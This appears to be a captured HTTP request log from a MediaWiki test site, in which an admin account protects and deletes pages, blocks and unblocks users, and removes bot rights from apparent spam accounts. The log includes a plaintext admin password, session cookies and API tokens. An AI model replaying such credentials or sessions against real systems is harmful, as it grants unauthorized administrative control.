{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 358", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=23%401794260962%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=.htaccess+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+.htaccess+guides&mwProtectWatch=1&wpEditToken=11734c231997c060e2bf43081922d45b6af23fe3%2B%5C"}
{"method": "GET", "target": "/wiki/.htaccess_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=24%401794260963%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=24%401794260963%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 194", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=24%401794260963%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=.htaccess+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+.htaccess+guides&wpWatch=1&wpConfirmB=&wpEditToken=caf53f975b381767d24c26081b2ab3f36af23fe4%2B%5C&wpConfirmationRevId=16"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=login&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 137", "Host: example.com", "Cookie: my_wiki_session=savug0rd3s67h42asltdjo4efv05i7nt", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=login&lgname=Admin&lgpassword=Example-pass-2026&lgtoken=3cb681d76d891f525ae693f8cdd16cc06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 145", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=Lighthouse&expiry=1+week&reason=Spamming+links&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=2%401794260965%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 133", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=2%401794260965%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=Lighthouse&reason=Spamming+links&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 211", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=4%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=Lighthouse+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 143", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=6%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=Lighthouse+API+notes&reason=Spamming+links&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=8%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=Python3&expiry=1+week&reason=Spamming+links+to+python3+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=Python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=10%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 148", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=10%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=Python3&reason=Spamming+links+to+python3+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 226", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=12%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=Python3+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+python3+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 158", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=14%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=Python3+API+notes&reason=Spamming+links+to+python3+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=16%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=Powershell&expiry=1+week&reason=Spamming+links+to+powershell+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=Powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=18%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 154", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=18%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=Powershell&reason=Spamming+links+to+powershell+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 232", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=20%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=Powershell+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+powershell+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 164", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=22%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=Powershell+API+notes&reason=Spamming+links+to+powershell+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 158", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=24%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=Ls+-la&expiry=1+week&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=Ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=26%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 146", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=26%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=Ls+-la&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 224", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=28%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=Ls+-la+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 156", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=30%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=Ls+-la+API+notes&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 164", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=32%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=.htaccess&expiry=1+week&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=34%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 152", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=34%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=.htaccess&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 230", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=36%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=.htaccess+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 162", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=38%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=.htaccess+API+notes&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 137", "Host: example.com", "Cookie: my_wiki_session=5ea1vridedmorakmd7vsjhusjm977r2c", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=login&lgname=Admin&lgpassword=Example-pass-2026&lgtoken=38e20a279d9d5c4ceb05bfc8031203146af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=userrights&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 147", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Lighthouse&remove=bot&reason=Spamming+links&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 162", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=42%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Python3&remove=bot&reason=Spamming+links+to+python3+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 168", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=44%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Powershell&remove=bot&reason=Spamming+links+to+powershell+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=46%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Ls+-la&remove=bot&reason=Spamming+links+to+ls+-la+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=48%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=.htaccess&remove=bot&reason=Spamming+links+to+.htaccess+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Lighthouse+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2FLighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Python3+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpython3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Powershell+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
